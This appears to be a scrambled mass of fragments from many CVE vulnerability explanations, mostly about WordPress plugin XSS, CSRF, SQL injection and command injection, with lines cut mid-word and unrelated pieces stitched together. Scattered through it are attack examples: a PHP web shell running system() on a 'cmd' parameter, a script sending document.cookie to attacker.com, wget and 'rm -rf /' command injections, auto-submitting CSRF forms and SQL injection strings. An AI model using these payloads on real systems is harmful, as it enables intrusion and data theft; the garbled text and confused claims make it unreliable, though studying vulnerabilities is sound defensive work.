ess to 127.0.0.1 for all requests sent to the public URL and then forwarded to the local Home Assistant

This could allow the attacker to trigger actions or obtain sensitive information without the need for loc

ion and the Android version.

| over the device. Credential theft could occur if an attacker presents a convincing phishing page to cap

ur more detailed risk assessments.

ion. This vulnerability has been patched in version 2023.9.0 of Home Assistant.

:could enable the attacker to execute arbitrary code within the Home Assistant environment.

ecurity audits: <https://www.home-assistant.io/blog/2023/10/19/security-audits-of-home-assistant/>  
application.

an attacker to execute arbitrary code remotely within the Home Assistant platform.

omain, potentially leading to full control over the real Home Assistant backend.

d even complete control over the Home Assistant installation.

ntials and altering snapshots or user data.

protections.

g unauthorized users to the system.

xecute, showing an alert box or potentially more harmful actions if the script is designed to steal cooki

nformation to the attacker.

orized external entity.

→ to an attacker-controlled location. This vulnerability could enable an attacker to bypass intended sec

ce.user}```In this policy, `http.send` is a built-in function that is allowed by default in rego that could be used, or potentially leverage the responses to further attack the internal infrastructure. This could lead to issues. Check the changes made in the fix and guidance on how to address the vulnerability.

Interacting with the Docker Hub registry API.

ight inadvertently hand over Docker credentials to the attacker, who can then use these credentials to log in [39-7w4j].

the attacker execute arbitrary code with the privileges of the web service, bypass the login authentication. Refer to Weintek and CISA for the latest updates and mitigation strategies.

ed, an attacker could input something like `'; rm -rf /` leading to the execution of an unintended and malicious command.

ld result in unauthorized access, privilege escalation, or denial of service.

ities, the attacker could potentially gain full admin privileges on the system.

re over the admin's privileges.

nent information, as indicated by the provided URLs (<https://server.cloudpath/> and <https://server.cloudpath/>)  
dditional security measures like changing passwords and auditing user privileges.

erform actions on behalf of the admin, leveraging CSRF to manipulate settings or create new admin ac

rs on the internet to create a larger, aggregated list of vulnerable targets for broader attack campaigns

nction with social engineering techniques to increase their effectiveness.

.data.url` should be properly validated and sanitized to ensure it is not coming from a malicious source  
n's browser to perform actions on other web applications where the victim has an active session, pote

in their browsers, potentially leading to session hijacking, redirection to malicious sites, or other malicious activity. The plugin source code at two different revision points showing the vulnerable sections: <https://plugins.trac.kinsta.cloud/>

ed user sessions.

parameter, such as `upload.php?cmd=whoami`. However, please note that successfully uploading and executing a crafted payload.

Controller.php?backup\_pagination=<script>alert('XSS')</script>`

the vulnerability.

on to a version that includes the fix for the XSS vulnerability.

In this example, when a user visits the page, they will see the following message:

JavaScript code would execute in their browser, potentially leading to data theft, account takeover, or session hijacking.

responsive-slider-with-lightbox&sf\_email=&sfph\_email=- <https://wordpress.org/plugins/wp-responsive-slider/> lists the affected page.

[www.wooyun.org/browser/mpoperationlogs/trunk/template/ipslist\\_td.php](http://www.wooyun.org/browser/mpoperationlogs/trunk/template/ipslist_td.php) - The vulnerability details on Wordfence views the logs containing the IP information, the malicious script executes in their browser. This could be being rendered to the browser. Regularly updating all WordPress plugins to their latest versions can also help prevent such attacks.

sitive parts of the system.

standing the concept of connection string parameter pollution, as described in the document provided

```
$_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); }?>``This PHP script could be accessed
```

h payloads to cause a denial of service, making the application unavailable for legitimate users.

<https://github.com/octokit/webhooks.js/releases/tag/v9.26.3>, <https://github.com/octokit/webhooks.js/security/advisories/GHSA-4q4r-8q8r-4q8r>

and if the application renders this input directly into an HTML context without proper escaping, it could be used to inject malicious code.

For example, consider the following PHP code from a WordPress plugin:

```
if (isset($_POST['ser_input'])) {
 $page = $_POST['ser_input'];
 $stored_data = $wpdb->get_results("SELECT user_id FROM wp_users WHERE user_login = '$page'");
 if ($stored_data) {
 // Later on, when generating a web page
 $wpdb->get_results("SELECT user_id FROM wp_users WHERE user_login = '$page'"); // This is a SQL injection vulnerability
 }
}
```

In this code, the user input from the POST variable is directly inserted into a SQL query without proper escaping. If an attacker provides a value like `' OR 1=1` for the `ser_input` field, the resulting SQL query would be `"SELECT user_id FROM wp_users WHERE user_login = '' OR 1=1"`. This would return all users in the database, giving the attacker full control of the site.

the context of the authenticated user.

box. An actual attacker would likely use a more sophisticated script for executing unauthorized actions

ctivities.

age without proper sanitization.

This script persists and can affect multiple users over time.

ent.

is exploiting the vulnerability.

vided.

Sophisticated attacks could involve stealing session tokens, redirecting users to phishing sites, or compromising the browser.

;

the alert box would demonstrate the XSS vulnerability by being executed on the victim's browser.

's browser that visits the link, potentially leading to the XSS attack.  
nk in an email or on a different website.

z to XSS.

`t=<script>alert('XSS');</script>`` which causes a JavaScript alert to be executed.

:compromised content.

user without their consent.

ization, the script would execute in their browsers.

```
ID password = "" + password + """ cursor.execute(query) records = cursor.fetchall() # Process records such as privilege escalation or lateral movement within the network.
```

ver or interfere with the application's functionality.  
that address this specific issue.

in.

access to privileged functions and data.

Check and review system access logs for any anomalous activities that might suggest this vulnerability has been exploited.

configuration.

Exploit the vulnerability by modifying system configurations or other critical files, which could lead to further system compromise or data leakage. Do not exploit the function properly and not more.

Exploit the vulnerability by modifying system configurations or other critical files, which could lead to further system compromise or data leakage. Do not exploit the function properly and not more.

exploiting CVE-2023-48388.

ta.

[age-announce@lists.fedoraproject.org/message/6NWZ23ZJ62XKWVNGHSIZQYILVJWH5BLI/](mailto:age-announce@lists.fedoraproject.org/message/6NWZ23ZJ62XKWVNGHSIZQYILVJWH5BLI/)

the user and the nature of the parameters being manipulated.

ance, an attack could look like this: ```html<script>alert('Your session has been hijacked!');</script>```

mething like `<script>alert('XSS');</script>` into a comment or input field that does not properly escap

website content or redirect users to malicious sites.  
lert box, or perform more malicious activities.

en involving embedding script code in inputs that are not properly filtered by the server before being r  
their browsers, which is what the heart of CVE-2023-5769 is about.

cker's intent.

websites.

case of the Currency Converter Calculator, it's important to note that the actual vulnerable code is not |  
wsers in a botnet.

application.

ecute if the input is not properly sanitized by the website.

hat sends external link data to the plugin. Once saved, the script can execute whenever a user visits a |  
te.

tokens could be sent to the attacker's server.

nt), the browser executes the script, potentially compromising the user's session, stealing cookies, red

on or impersonate legitimate users.

unknowing user, executes the payload within the user's browser.

c security lapse in the application's script or HTML handling.

e when other users view the affected content.

: affected plugin's inputs have with the end-users and the permissions the injected script can gain.  
abilities.

be more complex.

script within the URL could be executed.

stored and later rendered in the page without proper sanitization, leading to Stored XSS.

browser session.



ions as the administrator without their knowledge or consent. This can result in data theft, system con

ot directly apply to CVE-2023-47576.

'XSS');

rch, ethical practices should be followed, and actions taken only with proper authorization. nisms usually in place.

malicious activity.

er user, potentially with elevated privileges.

without their knowledge.

users.

protective measures detailed by Siemens in their advisory.

leading to privilege escalation, data leakage, or unauthorized operations within RHACS.

over.

or sensitive data, depending on the nature of the injected code and the permissions of the victim's account.

ode into the system, depending on the permissions of the impersonation target.  
ntification. The malicious token creation might look similar to this (only for illustration purposes and not

header value back in the response, leading to the vulnerability described in CVE-2023-49803.

the database.

using the software and the privacy of the students.

ork infrastructure. For example, the attacker might inject commands like `; wget http://malicious.com/` to access information and functionality that should require proper API permissions.

Detailed code examples related to implementing these security controls can often be found in the Quark documentation. These controls are particularly dangerous for applications dealing with sensitive information or critical functionalities.

ject JavaScript as browser details which would be rendered and executed in the browser when viewing a page.



tempted to access a resource.

input is displayed to users directly. Response.Write("<div>" + Database.Get("user\_comments") + "</div>") creates specifically crafted messages to gain access to privileged accounts, spread malware, or launch |

he site with the privileges of the victim.

cker obtaining unauthorized access or control over the victim's computer.

<https://www.debian.org/security/2023/dsa-5573>

g their sessions can lead to full system compromise.

potentially revealing secrets that could be used to access more data.

k-php/compare/1.109.0...1.109.1- https://owncloud.com/security-advisories/disclosure-of-sensitive-c  
ers to gain access to sensitive system information.

ossibly compromised credentials, potentially allowing further breaches.

information to plan further attacks or gain unauthorized access to other parts of the system.

ervices of Security Consult at '<https://r.sec-consult.com/unifyroot>'.

SSH or manipulate the authentication process to impersonate an administrative user. As the exploit de

ount profile, the malicious app could receive this intent and capture the returned profile data, includir

iScript, it would be executed by the browser since the input is not sanitized before being included in th

llware with an inline script in the HTML entry. It requires a user action, such as clicking on a maliciou

ker triggers the vulnerability, leading to arbitrary HTML injection.

l files to the attacker.

mate users.

activities.

the user's behalf or sensitive data being stolen without their knowledge.

re-laden site controlled by the attacker.

bilities.

x through crafted Twig code. The issue was addressed and patched in version 3.4.15 of October CMS.  
. website defacement, or server control.

in accounts, or perform other malicious actions.

r knowledge.

use-and-document-management-systems.

This is a simplistic representation; real-world attacks could leverage more sophisticated scripts to steal hijacking, and potentially giving the attacker unauthorized access to the application's functions acce!

or redirection to malicious websites.

intent.

ecutes the XSS payload.

ng scripts that steal cookies or manipulate the DOM.

out their consent, potentially leading to data theft or session hijacking.

lable on the affected web pages.

cting to malicious sites.

form actions on behalf of the victim.

ecute when the page is loaded. The Enfold theme vulnerability would likely involve a similar mechanism where the website or present false information to the users. In all scenarios, the attacker leverages the vuln

' sanitize input, this malicious script will be stored// When the page loads and processes the shortcode  
itized content.

longui Author Box plugin, could transmit the user's cookies to the attacker's server.

```
$result = mysqli_query($conn, "SELECT comment FROM comments WHERE id = $id");$row = mysqli_fetch_array($result);echo $row['comment'];
```

half of the victim within the web application.

ons on behalf of the user without their consent.

by user viewing the image, potentially sending the user's session cookies to the attacker.

demonstration; actual attacks could be much more harmful, executing scripts that steal cookies, personal

ting-xss-vulnerability?\_s\_id=cve- https://patchstack.com/database/vulnerability/woocommerce/word  
r perform actions on the site as the affected user, such as making unauthorized purchases or changing

the user's browser.

rise the user's account and potentially allow the attacker to carry out unauthorized actions in the user'

ugin settings. If there are no proper output encoding or input validation mechanisms, this script would

their NAS products (<https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisories>).

egarding the issue.

application.

rs until the vulnerability is patched and the malicious scripts are removed.

This issue was addressed and patched in CarrierWave versions 2.2.5 and 3.0.5.

er to gain access to sensitive information or manipulate the user's session.

Attacker could execute remote code execution (RCE) via `jdk.management.jfr.FlightRecorderMXBeanImpl`.  
This could lead to full server compromise, data theft, or further infiltration into the network environment.

References provide detailed information regarding the vulnerability, its impact, and mitigation advice.

over the device.

of crafting such requests, but they would be tailored to exploit the particular vulnerability in the appli

id on the internal workings of the application and is not detailed without a code example.

I access, it could be an insider threat or involve the attacker having obtained credentials through othe

user interface. However, the description asserts that this vulnerability does not allow for XSS.  
er context.

monitored environment.

entered: <script>alert('XSS Attack');</script></p>The browser then executes the script when it loads th

the user's cookies to the attacker's server.

code if it includes a script tag or other executable HTML/JavaScript content.

application.

malicious sites.

more harmful actions, such as requests to steal cookies or other sensitive data.

The vulnerable plugin may visit.

The input fields, and if this code is not properly sanitized before being displayed on a public page, it can

Performing actions unintentionally if the script includes requests to the server, such as submitting data or processed, it will render the script as executable code in the browser of anyone viewing the user's pr

cript tags effectively.

cting users to malicious sites.

edge.

icious website.

here's a simplified example of what the malicious URL might look like: <http://example.com/vulnerable-page>. This would allow the attacker to control the entire web application.

owser, leading to an XSS vulnerability.

on behalf of the user, data theft, or other malicious outcomes.

n/page?input=<script>alert('XSS')</script>Here, the 'alert' could be replaced with any malicious JavaScript code.

acker provides the following as input, it can lead to XSS:addUserInputToPage('<script>alert("XSS Attack")</script>').

eld:'<script>alert('XSS');</script>'If the application rendered this input as-is on the client-side without escaping it, it would execute the script on the user's browser, potentially causing harm.

oage. The script could be designed to steal cookies, session tokens, or perform actions on behalf of the user, such as changing account settings or performing transactions. This is often referred to as a "man-in-the-middle" attack.

\WT\_SECRET');```It's important that the environment variable is securely managed and not exposed in code, as this can compromise the entire authentication process of the application.

XSS attacks where the attacker can execute client-side code in the victim's browser. Exploiting various forms of XSS attacks, such as stealing cookies, session hijacking, or delivering malware. A screenshot of a legitimate page served by the Headwind MDM Web panel, due to the inline mode of the file download, allows attackers to manipulate the API call and move arbitrary files into the files directory, from which they

directory, which could be triggered by another vulnerable function of the application or by social engineering techniques. A screenshot shows a file named 'audit.log' in the 'files' directory, which was created by an attacker through manipulation of the audit log mechanism.

Review the audit log entry for the creation of the file 'audit.log' in the 'files' directory. This review highlights the lack of proper logging and auditing, which allowed the attacker to bypass security measures and gain unauthorized access to the system.

[wordfence.com/threat-intel/vulnerabilities/id/db18ac07-2e7a-466d-b00c-a598401f8633?source=cve](http://wordfence.com/threat-intel/vulnerabilities/id/db18ac07-2e7a-466d-b00c-a598401f8633?source=cve)

s activities.

site visitor accessing the post will have the script executed in their browser, which could lead to stolen

licious\_code\_here` is replaced with the actual script the attacker wishes to run on end users' browsers

' specifying which dynamic resources are allowed to load.5. Regularly audit WordPress plugins for vuln

3-d6fa-4005-bbbb-019412d328a5?source=cveThese sources may provide additional details on the vuln

ng account details or posting content.  
jected page.

eading to XSS.

[om/threat-intel/vulnerabilities/id/c0b3911c-a960-4f28-b289-389b26282741?source=cve](https://www.threat-intel.vulnerabilities/id/c0b3911c-a960-4f28-b289-389b26282741?source=cve)

in a user's browser when they access the injected page.

consent.

[b8-9397-42e9-9c99-a576975c9ac9?source=cve](https://www.threat-intel.vulnerabilities/id/b8-9397-42e9-9c99-a576975c9ac9?source=cve).  
r a user accesses a page containing the malicious input.  
ious sites.

session or personal data.

I.

Actual attacks could be more sophisticated, aiming to steal cookies, session tokens, or perform admin

```
html_content = format_html('{}', user_input) # user_input is automatically escaped``
```

1 legitimate requests from the site and those forged by an attacker.

te an environment or monitor security personnel.  
era's web server, which should be protected but due to CVE-2023-3104, it may allow unrestricted access

:nowingly perform actions or disclose sensitive information due to the attacker's manipulations.

inating account details, changing permissions, or initiating transactions.

er integrated services.

into thinking it's from a secure, trusted source due to the main page being served over HTTPS.

ut sanitization, these commands could be executed by the underlying operating system, leading to un  
nis vulnerability.

nany jurisdictions.

rface, which could disrupt surveillance operations or other critical functions provided by the Axis devic

e user's consent.

/d.pr/v/ORulat  
rabilities.

; located and downloaded.

; activity related to this vulnerability.

of algorithm confusion attacks.

leases/tag/v3.3.2- The security advisory from the maintainers is available at: <https://github.com/nearl>  
rming a certain action.

; knowledge.

I to further exploitation.

strative user into the database, thus gaining unauthorized access.

algorithm claim in the 'encode' method, misleading the application into using HS256 instead. Please note that this action may affect the security of your application if the application relies on the integrity of the JWT for functionality.

ot>` where 'example.com' represents the vulnerable Liferay Portal server.

organization.

consent.

accesses an injected page, posing a significant security threat. This vulnerability notably affects multi-

lert box. However, in practice, attackers would use more sophisticated scripts designed to steal cookies or unauthorized data deletion or modification of privacy preferences.

```
:sdef generate_one_time_code(): # This is a secure way to generate a one-time code code = ".join([
```

ng the structure of the server's filesystem could be used in social engineering attacks to trick system administrators into clicking a link, are taken.  
:racting with the crafted link.

:lies or other sensitive information, or even redirecting to a malicious site, all depending on the attack code. When a user accesses a page where the code has been injected,

authorized actions being taken on behalf of the users, stealing sensitive information, or compromising the system.

o.  
:the browser and executed, leading to the potential XSS attack.

1.

ntication headers or triggering an open redirect.

/ delivering malware to users.

1 what the attacker aims to achieve and the contexts in which the Atarim plugin renders user input.

ties.

Please note that for security reasons, explicit code examples that could aid in exploiting the vulnerability are not provided as it may depend on the context of the application's vulnerability and user input sanitization.

her attacks or system compromises.

ver, or launching spear-phishing campaigns from a compromised account.

ublicly due to ethical concerns and the risk of misuse.  
webmail system.

;

; would vary greatly based on the specific platform and are not readily available without further conte;  
application.

he attacker can navigate to the malicious PHP file via a web browser, executing the script and achieving

ictim's browser. The attack can be facilitated through social engineering, such as sending a crafted email to the user's browser: ``html<form action="http://vulnerable-site.com/webmaster-tools/settings" i

in.

s.org/changeset/2993602/advanced-iframe- <https://www.wordfence.com/threat-intel/vulnerabilities>, injecting the JavaScript code in the browsers of users visiting the page.

code in the response sent to the attacker.

alue"> <input type="hidden" name="submit" value="1"></form><script>document.forms[0].submit()  
orming actions that require authentication as if the request is coming from the legitimate user.

e, thus carrying out actions without the victim's consent.

r compromise the user's machine or network.

r redirect users to malicious sites.

tput of the affected filters.

l list at <https://lists.debian.org/debian-lts-announce/2023/11/msg00019.html>.

pe or use a default that ensures the content is safe for the context where it's rendered.  
ed in versions 5.4.31 and 6.3.8, respectively.

I.  
ata theft, account takeover, or other malicious activities within the application.  
[security/advisories/GHSA-m2wj-r6g3-fxfx](#)

system and configurations, providing exact code examples would be speculative.

:ion without the user's knowledge.

attack hinges on exploiting the trust a site has in the user's browser.  
nsiderations, no actual exploitable code example will be provided.

bsite's cursor style or adding malicious content.

losure of information, unauthorized modifications, or mismanagement of resources within the system

vality.

er when accessing a page using the `file://` protocol.

In each case, the malicious code would run in the context of the data subject's browser when they :

itHub releases page.

such as phishing emails or compromising legitimate websites to distribute malicious links.

the website. Since the vulnerability allows for persistent XSS attacks, the malicious script will continue to run and spread across the site until it is removed. To understand and mitigate the vulnerability, it is important to identify the source of the XSS attack and remove the malicious script from the website.

nsent.

sites.

`?_s_id=cve).`

↳ code execution or data exfiltration. Other harmful actions could include the extraction of sensitive in

`text ); }}}} To fix this vulnerability, the plugin author would need to sanitize the 'featured_image_caption' being performed on behalf of the users or disclosure of sensitive information.`

`%2Ftrunk- Wordfence, a prominent WordPress security firm, has also provided a threat intelli`

ulnerability, if such a version has been released.

hangeset/2982662/social-warfare#file0- <https://www.wordfence.com/threat-intel/vulnerabilities/id/8>

es the infected page.

arameters, which could be executed when the page is viewed.

be executed whenever a user accesses the injected page.

tive privileges.

ie attacker to carry out actions on behalf of the user, steal session data, or redirect the user to a malici

e account has permissions, further compromising the organization's security.

s, or other recommended actions to secure the environment against potential exploitation of this vuln

ystem.

of a normal search query. In a URL, it might look something like this:<http://example.com/search?search=hello>. Failing to properly sanitize user input, which can lead to a successful XSS exploit.

ability and how the CSRF token is or isn't implemented or validated.

`L='1';`. This could trick the system into returning data for all users, bypassing authentication checks as

parameterized query statements to prevent such injections.

-- 'This would cause the database to return all users since '1'='1' is always true, effectively nullifying the  
of the PHP file, compromising the server.

tems.

lls and make unauthorized requests to internal services, potentially leading to data leaks or further att

I changed successfully' else: return 'No new password provided', 400``In real-world applications,

```
ET_KEY) .compact(); } // ... other methods } ``` In this example, 'mysecretkey' is a hardcoded s
```

be performed remotely.

ed, the attacker could navigate to the file in the web browser and execute arbitrary system commands |

server logs for any suspicious upload activities.

1aea8018def?source=cve`, respectively.

ication.

d organization.

etwork services, or gaining elevated privileges on the network.

e configurations, exfiltrate sensitive data, and potentially spread to other parts of the network.

every user accessing the affected part will trigger the exploit until it's remedied.

privileges or compromising sensitive data.

performing actions within the management interface as if they were the logged-in user.

he stored XSS payload, leading to potential data theft, session hijacking, or other malicious actions.

inating that more malicious scripts could also be run.  
ed page is accessed by any user.

iat path.

ay disclose internal paths in the error.``In this case, an attacker could use specially crafted query para

one of the affected fields.

/loads aimed at stealing cookies or session tokens, defacing the website, or redirecting users to malicious

restricted areas.

ite where sensitive information could be harvested.

affected pages.

ty, the script might execute when a user visits that page.

```
:``php<?php// Malicious input that could be injected through the mail form$input = "system('id');";//
```

nqj-gv2m-hq55



)283a4f-ea59-488a-bab0-dd6bc5718556?source=cve

ected.

oiting this may involve intricate network manipulation or social engineering tactics to prevent a valid u

ware.

rite or encode this input correctly before outputting it on subsequent web pages, then the script tag wo

; of the system. This type of attack is commonly known as Cross-Site Request Forgery (CSRF).

```
>one;" id="maliciousForm"><input type="hidden" name="action" value="deleteUser"><input type="hid
```

is on behalf of the user.

ipt or other web technologies to create or manipulate symlinks in a way that the system resolves them

malicious site, or steal browser cookies.

<https://threat-intel/vulnerabilities/id/fca7837c-ad24-44ce-b073-7df3f8bc4300?source=cve>

ed directly into the HTML without sanitization or escaping, which would allow for Stored XSS if an attack is performed.

ss to the user's accounts or impersonate the user.

s-site scripting (XSS) attacks to steal sensitive information like session tokens or login credentials.  
existing tab to a malicious site without direct user action if the API permissions were inappropriately gr

iners.

<https://nvd.nist.gov/vuln/detail/CVE-2023-27447>?source=cve.  
disclosure, account compromise, or other malicious activities.

kins server.

In this scenario, an attacker could measure the time it takes for the function to return false and use this information to exploit the system.

dling legitimate requests.

ntensive enough to block worker processes from handling other requests, thereby leading to a denial of service.

stem.

ch: <https://github.com/nautobot/nautobot/pull/4692> - The official Nautobot security advisory: <https://github.com/nautobot/nautobot/pull/4692>

Admin UI users who have the contributor role or above.

as the victim user.

Github: <https://github.com/ethyca/fides/security/advisories/GHSA-fgjj-5jmr-gh83>

ernals and backend infrastructure, such as settings, server addresses, ports, and database usernames.

ation can act as a blueprint for attackers seeking to compromise the system.  
isories/GHSA-rjxg-rpg3-9r89`.

ommit/cd344d016b1441662a61d0759e7913e8228ed1ee

ation, data breaches, or even remote code execution if combined with other vulnerabilities.

control of the entire ClearPass Policy Manager cluster.

trick the server into redirecting the response to a malicious location or manipulating the content of the

impact can be significant as the injected script can persist on the server and affect multiple users.

sitive information.

urther attacks within the network.

ker could enter a script tag and arbitrary JavaScript into the search field, which is then executed by the  
in the same domain context, leading to potential data theft or unauthorized actions.

These actions would occur without the knowledge of the user, compromising the security and integrity

of the listener. For example: ``html<iframe id='targetIframe' src='https://sensitiveresource.com'></iframe>

credentials.

'access configuration files, logs, source code, or any other file that the server process has access to and  
'd953c10ef0114c365f698c4b8f19'.

ivated privileges.

of sensitive data depending on the nature of the commands executed.

a simplified representation of the vulnerability and not an exact copy of the vulnerable code in the plu

the system.  
attempts.

nt.location='http://attacker.com/stealcookie?cookie='+document.cookie;</script>` which, when execi

on.

erability is specifically due to prototype pollution.

updates or solutions.

malicious activities, like stealing cookies, session tokens, or personal data, or even redirecting the user's browser on behalf of the victim.

scripts that will execute whenever a user accesses an injected page. This context of a user's browser when they view the page.

onment.

In the functions.php file at '<https://plugins.trac.wordpress.org/browser/magic-action-box/tags/2.17/>', the code is directly echoed out without sanitization or escaping, which could lead to XSS if an attacker passes in malicious information, damaging the site's reputation and potentially conveying misinformation to visitors.

This vulnerability impacts multi-site installations or those with 'unfiltered\_html' capability on an infected page. The vulnerability impacts multi-site installations or those with 'unfiltered\_html' capability on an infected page.

be found.

al patch was implemented in version 3.1.3, the issue was only fully resolved in version 3.1.4.

cookie theft, session hijacking, or the displaying of fraudulent content. The scripts could also be design

[el/vulnerabilities/id/e834a211-ccc8-4a30-a15d-879ba34184e9?source=cve](#)

cookies, capture login credentials, redirect users to malicious sites, or perform other harmful actions.  
These sources provide details of the changes made to the plugin to address the vulnerability, as well as i

allations and instances where the 'unfiltered\_html' capability has been disabled.  
On behalf of the users or data being compromised.

re users may not all have the same level of trust or intentions, this could lead to internal data breach:

jacking, or other malicious outcomes.

ed, potentially giving them unauthorized access or control over the victim's system.

.ies or session tokens, leading to account takeovers.

:cribe-buttons#file529- Wordfence vulnerability report: <https://www.wordfence.com/threat-intel/vuln>

ected page.

cookies, session tokens, or other sensitive information belonging to the users.

pt could transmit the user's session cookies to an external server, allowing the attacker to hijack user s  
d7b5d0-c777-4ff9-bdef-a7762cfbdf1a?source=cve

es to minimize the risk of such vulnerabilities.

cookies, or redirecting the user to a malicious website.

the admin's consent or knowledge. If the nonce validation doesn't block it, the plugin would accept the

d7b5d0-c777-4ff9-bdef-a7762cfbdf1a?source=cve

he issue was partially addressed in version 4.6 and fully resolved in version 4.7 of the plugin.

to steal cookies, session tokens, or other sensitive information from the user's browser.

tel vulnerability database: <https://www.wordfence.com/threat-intel/vulnerabilities/id/3706deed-55f2>

s: `<script>alert('XSS');</script>`, which could be stored and later executed to run the alert whenever a

with the website.

8bc?source=cve

ons of WordPress and those installations where the 'unfiltered\_html' capability has been disabled. ns on behalf of the users, steal cookies or sensitive information, or redirect users to malicious sites.

:photospace-responsive-gallery.php - [https://plugins.trac.wordpress.org/changeset?sfp\\_email=&sfp\\_h](https://plugins.trac.wordpress.org/changeset?sfp_email=&sfp_h)

Wordfence website: <https://www.wordfence.com/threat-intel/vulnerabilities/id/52659f1c-642e-4c88-b3d>

: instance.

cal network access or authentication.

apture the user's login details or other sensitive information.

ies or perform actions on behalf of a logged-in user.

urity restrictions and potentially cause a breach of sensitive data.

be abused to send requests to internal resources. An attacker could set the `url` variable to an internal service endpoint to gain unauthorized access of internal data, data exfiltration, and an overall compromise of the security of the application.

potentially access rate-limited or private data.

ition, and gain unauthorized access to the device.

licious command.

udpath/admin/enrollmentData/).

counts under the attacker's control. Below is a hypothetical and simplified example of an XSS payload :

3.

before being used in the fetch request.

entially leading to Cross-Site Request Forgery (CSRF) attacks.3. Accessing sensitive information if the UI

icious activities.

[ac.wordpress.org/browser/team-showcase/trunk/team-manager-free.php?rev=2912143#L489](http://ac.wordpress.org/browser/team-showcase/trunk/team-manager-free.php?rev=2912143#L489) and ht

using such code would depend on specific server configurations and security measures in place.

ould see an alert box saying 'XSS', indicating the script has been run in their browser.

r other malicious activities.

ve-slider-with-lightbox/- <https://www.wordfence.com/threat-intel/vulnerabilities/id/547c425d-8b0f-4>

nce's threat intelligence page at <https://www.wordfence.com/threat-intel/vulnerabilities/id/bc5f1b00>. I manipulate page content, steal session cookies, redirect the user to a phishing site, or perform other so help prevent vulnerabilities like this one.

on Exploit Database, is recommended for software developers and security analysts.

remotely to execute commands passed through the 'cmd' parameter.

ity/advisories/GHSA-pwfr-8pq7-x9qv, <https://github.com/probot/probot/releases/tag/v12.3.3>.

d lead to script execution in another user's browser.

```
er_data FROM some_table");echo '<div>'. $stored_data[0]->user_data . '</div>';// If the user_data con
```

rather than displaying an alert.



omising user data.



ds...``In this code, the query is being built directly using user input without validation or escaping, allo'

been exploited.

reaches.



When an admin or user views a page where this script is stored, it will execute the alert, demonstrating  
e user input.

rendered to other users.

provided, but the attack would follow a similar pattern.



page displaying that data.

irecting to a malicious site, or performing actions on the user's behalf without their knowledge.









npromise, account takeovers, or other malicious activities.





punt.

t a real exploit code): ``pythonimport jwt# Example code only -- does not represent an actual private k

'script.sh; sh script.sh;` to download and execute a malicious script, given they found a suitable injectio

cus official documentation or security best practice guides.

the log.



"); In this example, if the user input includes an XSS payload like `<script>alert('XSS')</script>`, it would allow phishing attacks to collect sensitive information from users.

[redentials-and-configuration-in-containerized-deployments/](#)

etails and code examples for CVE-2023-6269 are not provided, it is not possible to give a more detailec

ng potentially sensitive information.

e output.

s URL while running the dev server, to exploit.







al cookies, session tokens, or perform other malicious actions.  
ssible to the user.



sim, where user input from the URL or form submissions is inserted into the page without proper sanitization, allowing the possibility to run unauthorized JavaScript code in the victim's browser under the guise of the legitimate

, the script executes on a victim's browser.``Please note that this is a simplistic representation and act

`h_assoc($result);echo $row['comment'];`If an attacker enters JavaScript code into the comment, it wou



data, or perform actions on behalf of the user.

[press-woocommerce-plugin-8-1-1-contributor-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#)

; account details.

's session.

↓ run for any user visiting the page.

([Advisory-for-authentication-bypass-and-command-injection-vulnerabilities-in-nas-products](#)).

o!` on Java versions above 11 by exploiting the recording functionality.  
tent.

ication's handling of incoming requests.

r means.



e HTML, and the alert pops up, indicating that arbitrary JavaScript code can be run on that page.



uld be executed by visitors' browsers.

r changing user settings.

ofile, causing, for example, an alert box to appear. An actual attack would likely use script that perform

age?footerContent=<script>alert('XSS');</script>In this case, if the 'footerContent' parameter is not pr

cript code.

<">);``In this code, since user input isn't sanitized before being added to the DOM, an attack

proper encoding or validation, the browser would execute the alert function, confirming the presence

user without their consent.

configuration files or logs.

ownload function.

could be subsequently downloaded.

neering someone with execution rights on the server to run it. The potential consequences of such an

cookies, manipulated site content, or other malicious activities depending on the nature of the injecte

erabilities and keep them updated with the latest security patches.

vulnerability, any released patches, and recommendations for mitigation.



nistrative actions.

ss without any login credentials.



authorized access and control.

;e.

[form/fast-jwt/security/advisories/GHSA-c2ff-88x2-x9pg](#)

Note that this is not a functioning code example and should not be used in production.



site installations and installations with the 'unfiltered\_html' capability disabled.

; or perform other malicious actions without the user's knowledge.

```
|secrets.choice('0123456789') for _ in range(6)]) return code# Secrets module generates unpredictabl
```

|ministrators or users into providing more access than intended.

er's intent.

re site's integrity.



are not provided.

ation procedures.

xt.

their intended malicious goal, such as extracting sensitive information, taking control of the server, or

ail or link that tricks the user into visiting a specially crafted web page that executes the CSRF attack.  
method="POST" id="maliciousForm"> <input type="hidden" name="newSetting" value="maliciousVal

/id/e9944443-2e71-45c4-8a19-d76863cf66df?source=cve

`);</script>```An attacker could embed this code in a webpage or email and if visited by an admin, it cou`



access the HTML files offline.

to execute until it is removed from the saved data.

formation from the spreadsheet environment or manipulation of data within the spreadsheet.

on' POST parameter before saving it to the database.

igence bulletin here: <https://www.wordfence.com/threat-intel/vulnerabilities/id/0c43a88c-6374-414f>



[f5b9aff-0833-4887-ae59-df5bc88c7f91?source=cve](https://www.cvedetails.com/cve/f5b9aff-0833-4887-ae59-df5bc88c7f91?source=cve)

ous site.

erability.

```
ch=<script>alert('XSS')</script>If `search_query` is not sanitized before being embedded in `page_cont
```

the condition '1'='1' is always true.

reintended condition and allowing the attacker to access or manipulate data in an unauthorized manner.

acks on the network.

this code should include CSRF token verification to prevent such attacks.

tring used to sign and verify tokens, which would constitute a vulnerability like the one described in C\

by accessing 'shell.php?cmd=[command]' where [command] is the system command to execute.





meters to provoke an error that discloses internal resource paths.



ous sites.



If this input is not properly sanitized and is executed, it could reveal system user information?>``Pleas





ser from logging in, thus creating the window of opportunity for the attack.

ould be executed in the browser of any user viewing those pages, demonstrating a Stored XSS attack.

```
|den" name="userId" value="100"></form><script>document.getElementById('maliciousForm').submit();</script>
```

incorrectly, granting unintended access.

ker injects malicious scripts.

wanted.

information to learn about the correct characters in the expected token.

of service situation. An attack like this could target web applications that use Werkzeug for handling fi

[/github.com/nautobot/nautobot/security/advisories/GHSA-r2hw-74xv-4gqp](https://github.com/nautobot/nautobot/security/advisories/GHSA-r2hw-74xv-4gqp)

This issue is a security risk as it exposes potentially sensitive information that could be useful to attack



: page to conduct phishing.

browser.

of the application and potentially leading to unauthorized access or data breach.

```
><script> window.addEventListener('message', function(e) { if (e.origin === 'https://sensitiveresourc
```

dangerously potentially use this information for malicious purposes.

gin.

